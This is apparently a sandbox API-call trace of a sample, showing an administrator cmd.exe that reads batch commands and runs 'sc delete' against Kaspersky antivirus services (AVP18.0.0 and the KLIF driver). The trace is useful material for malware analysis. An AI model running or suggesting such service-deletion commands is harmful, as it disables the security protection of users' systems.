returned 0x240000 [0077.865] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.865] GetEnvironmentStringsW () returned 0x261b10* [0077.865] GetProcessHeap () returned 0x240000 [0077.865] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.865] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.865] GetProcessHeap () returned 0x240000 [0077.865] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.865] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.865] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.866] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.866] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.866] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.866] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.866] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.866] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.866] GetConsoleOutputCP () returned 0x1b5 [0077.866] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.866] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.867] GetProcessHeap () returned 0x240000 [0077.867] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.867] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.867] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.867] GetFileType (hFile=0x120) returned 0x3 [0077.868] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.868] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.868] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.868] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.868] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.868] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.868] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.868] GetFileType (hFile=0x120) returned 0x3 [0077.868] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.868] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.868] GetFileType (hFile=0xb8) returned 0x3 [0077.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.868] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.868] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.868] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.868] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.868] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.869] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.869] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.869] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.869] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.869] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.869] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.869] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="KAVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="LVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.870] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.870] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.870] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="IP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="F18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.871] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.871] GetFileType (hFile=0xb8) returned 0x3 [0077.871] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.871] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.871] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.871] GetFileType (hFile=0x120) returned 0x3 [0077.871] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete KLIF\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete KLIF\n", lpUsedDefaultChar=0x0) returned 16 [0077.871] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0xf, lpOverlapped=0x0) returned 1 [0077.871] GetProcessHeap () returned 0x240000 [0077.871] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.871] GetProcessHeap () returned 0x240000 [0077.871] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.872] GetProcessHeap () returned 0x240000 [0077.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.872] GetProcessHeap () returned 0x240000 [0077.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.872] GetProcessHeap () returned 0x240000 [0077.872] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x256510 [0077.872] GetConsoleOutputCP () returned 0x1b5 [0077.872] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.872] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.872] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.872] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256550 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0077.873] SetErrorMode (uMode=0x0) returned 0x1 [0077.873] SetErrorMode (uMode=0x1) returned 0x0 [0077.873] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.873] SetErrorMode (uMode=0x1) returned 0x1 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0077.873] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.873] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.873] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.873] GetProcessHeap () returned 0x240000 [0077.873] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.873] GetProcessHeap () returned 0x240000 [0077.874] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.874] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.874] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.874] GetLastError () returned 0x2 [0077.874] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.874] GetLastError () returned 0x2 [0077.874] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.874] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.875] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.875] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.875] GetLastError () returned 0x2 [0077.875] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.875] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.875] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.875] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.875] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.875] GetProcessHeap () returned 0x240000 [0077.875] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.875] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.875] GetProcessHeap () returned 0x240000 [0077.875] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x96) returned 0x259180 [0077.875] GetProcessHeap () returned 0x240000 [0077.876] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x96 [0077.876] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete KLIF") returned 1 [0077.876] GetProcessHeap () returned 0x240000 [0077.876] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.876] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.876] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.876] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.876] GetProcessHeap () returned 0x240000 [0077.876] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.876] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", 